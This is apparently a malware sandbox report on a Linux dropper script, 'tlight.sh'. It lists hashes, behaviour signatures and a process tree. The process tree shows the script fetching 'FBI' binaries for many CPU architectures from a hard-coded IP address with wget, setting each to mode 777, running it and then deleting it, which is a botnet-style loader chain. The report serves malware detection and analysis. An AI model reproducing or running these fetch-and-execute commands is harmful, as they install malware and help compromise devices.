Overview

overview

9

Static

static

tlight.sh

ubuntu-18.04-amd64

9

tlight.sh

debian-9-armhf

9

tlight.sh

debian-9-mips

9

tlight.sh

debian-9-mipsel

9

Resubmissions

22-08-2022 17:16

220822-vs7zgsaggj 9

22-08-2022 17:12

220822-vqym2adfh5 9

22-08-2022 05:59

220822-gpy1hsbgdp 9

22-08-2022 02:57

220822-df17qscff9 9

22-08-2022 02:42

220822-c68ttscee5 9

Analysis

  • max time kernel
    22153s
  • max time network
    157s
  • platform
    linux_armhf
  • resource
    debian9-armhf-en-20211208
  • resource tags

    arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22-08-2022 02:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tlight.sh

  • Size

    1KB

  • MD5

    894e976a4a3f5e6038168b5c4b78f98d

  • SHA1

    13cd9bc7146037714e546063867353cbb1b6ff03

  • SHA256

    54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238

  • SHA512

    4b3ddf27afd2f04d19d879aedf5e083af6d2511d426b6a9ce991ffcebaa4013890b6ab473c68c36c25717ced8c7ef4e89765fdd8407adc3b00be44256a0f7571

Score
9/10
discovery

Malware Config

Signatures

  • Writes file to system bin folder 1 TTPs 1 IoCs
  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/tlight.sh
    /tmp/tlight.sh wget "http://37.44.238.187/tlight.sh;chmod" 777 tlight.sh
    1⤵
    • Writes file to tmp directory
    PID:363
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to system bin folder
      • Reads runtime system information
      • Writes file to tmp directory
      PID:364
    • /usr/bin/wget
      wget http://37.44.238.187/FBI.i486
      2⤵
        PID:366
      • /bin/chmod
        chmod 777 FBI.i486
        2⤵
          PID:370
        • ./FBI.i486
          ./FBI.i486 tlight.i486.wget
          2⤵
            PID:371
          • /bin/rm
            rm -rf FBI.i486
            2⤵
              PID:372
            • /usr/bin/wget
              wget http://37.44.238.187/FBI.x86_64
              2⤵
                PID:374
              • /bin/chmod
                chmod 777 FBI.x86_64
                2⤵
                  PID:377
                • ./FBI.x86_64
                  ./FBI.x86_64 tlight.x86_64.wget
                  2⤵
                    PID:378
                  • /bin/rm
                    rm -rf FBI.x86_64
                    2⤵
                      PID:380
                    • /usr/bin/wget
                      wget http://37.44.238.187/FBI.i586
                      2⤵
                        PID:381
                      • /bin/chmod
                        chmod 777 FBI.i586
                        2⤵
                          PID:383
                        • ./FBI.i586
                          ./FBI.i586 tlight.i586.wget
                          2⤵
                            PID:384
                          • /bin/rm
                            rm -rf FBI.i586
                            2⤵
                              PID:385
                            • /usr/bin/wget
                              wget http://37.44.238.187/FBI.i686
                              2⤵
                                PID:386
                              • /bin/chmod
                                chmod 777 FBI.i686
                                2⤵
                                  PID:388
                                • ./FBI.i686
                                  ./FBI.i686 tlight.i686.wget
                                  2⤵
                                    PID:389
                                  • /bin/rm
                                    rm -rf FBI.i686
                                    2⤵
                                      PID:391
                                    • /usr/bin/wget
                                      wget http://37.44.238.187/FBI.mips
                                      2⤵
                                        PID:392
                                      • /bin/chmod
                                        chmod 777 FBI.mips
                                        2⤵
                                          PID:394
                                        • ./FBI.mips
                                          ./FBI.mips tlight.mips.wget
                                          2⤵
                                            PID:395
                                          • /bin/rm
                                            rm -rf FBI.mips
                                            2⤵
                                              PID:397
                                            • /usr/bin/wget
                                              wget http://37.44.238.187/FBI.mipsel
                                              2⤵
                                                PID:398
                                              • /bin/chmod
                                                chmod 777 FBI.mipsel
                                                2⤵
                                                  PID:400
                                                • ./FBI.mipsel
                                                  ./FBI.mipsel tlight.mipsel.wget
                                                  2⤵
                                                    PID:401
                                                  • /bin/rm
                                                    rm -rf FBI.mipsel
                                                    2⤵
                                                      PID:402
                                                    • /usr/bin/wget
                                                      wget http://37.44.238.187/FBI.arm
                                                      2⤵
                                                        PID:403
                                                      • /bin/chmod
                                                        chmod 777 FBI.arm
                                                        2⤵
                                                          PID:405
                                                        • ./FBI.arm
                                                          ./FBI.arm tlight.arm.wget
                                                          2⤵
                                                            PID:406
                                                          • /bin/rm
                                                            rm -rf FBI.arm
                                                            2⤵
                                                              PID:470
                                                            • /usr/bin/wget
                                                              wget http://37.44.238.187/FBI.arm5
                                                              2⤵
                                                                PID:471
                                                              • /bin/chmod
                                                                chmod 777 FBI.arm5
                                                                2⤵
                                                                  PID:473
                                                                • ./FBI.arm5
                                                                  ./FBI.arm5 tlight.arm5.wget
                                                                  2⤵
                                                                    PID:474
                                                                  • /bin/rm
                                                                    rm -rf FBI.arm5
                                                                    2⤵
                                                                      PID:532
                                                                    • /usr/bin/wget
                                                                      wget http://37.44.238.187/FBI.arm6
                                                                      2⤵
                                                                        PID:539
                                                                      • /bin/chmod
                                                                        chmod 777 FBI.arm6
                                                                        2⤵
                                                                          PID:541
                                                                        • ./FBI.arm6
                                                                          ./FBI.arm6 tlight.arm6.wget
                                                                          2⤵
                                                                            PID:542
                                                                          • /bin/rm
                                                                            rm -rf FBI.arm6
                                                                            2⤵
                                                                              PID:548
                                                                            • /usr/bin/wget
                                                                              wget http://37.44.238.187/FBI.arm7
                                                                              2⤵
                                                                                PID:549
                                                                              • /bin/chmod
                                                                                chmod 777 FBI.arm7
                                                                                2⤵
                                                                                  PID:551
                                                                                • ./FBI.arm7
                                                                                  ./FBI.arm7 tlight.arm7.wget
                                                                                  2⤵
                                                                                    PID:552
                                                                                  • /bin/rm
                                                                                    rm -rf FBI.arm7
                                                                                    2⤵
                                                                                      PID:558
                                                                                    • /usr/bin/wget
                                                                                      wget http://37.44.238.187/FBI.ppc
                                                                                      2⤵
                                                                                        PID:559
                                                                                      • /bin/chmod
                                                                                        chmod 777 FBI.ppc
                                                                                        2⤵
                                                                                          PID:563
                                                                                        • ./FBI.ppc
                                                                                          ./FBI.ppc tlight.ppc.wget
                                                                                          2⤵
                                                                                            PID:564
                                                                                          • /bin/rm
                                                                                            rm -rf FBI.ppc
                                                                                            2⤵
                                                                                              PID:569
                                                                                            • /usr/bin/wget
                                                                                              wget http://37.44.238.187/FBI.m68k
                                                                                              2⤵
                                                                                                PID:570
                                                                                              • /bin/chmod
                                                                                                chmod 777 FBI.m68k
                                                                                                2⤵
                                                                                                  PID:574
                                                                                                • ./FBI.m68k
                                                                                                  ./FBI.m68k tlight.m68k.wget
                                                                                                  2⤵
                                                                                                    PID:575
                                                                                                  • /bin/rm
                                                                                                    rm -rf FBI.m68k
                                                                                                    2⤵
                                                                                                      PID:576
                                                                                                    • /usr/bin/wget
                                                                                                      wget http://37.44.238.187/FBI.sh4
                                                                                                      2⤵
                                                                                                        PID:577
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 FBI.sh4
                                                                                                        2⤵
                                                                                                          PID:579
                                                                                                        • ./FBI.sh4
                                                                                                          ./FBI.sh4 tlight.sh4.wget
                                                                                                          2⤵
                                                                                                            PID:580
                                                                                                          • /bin/rm
                                                                                                            rm -rf FBI.sh4
                                                                                                            2⤵
                                                                                                              PID:582

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads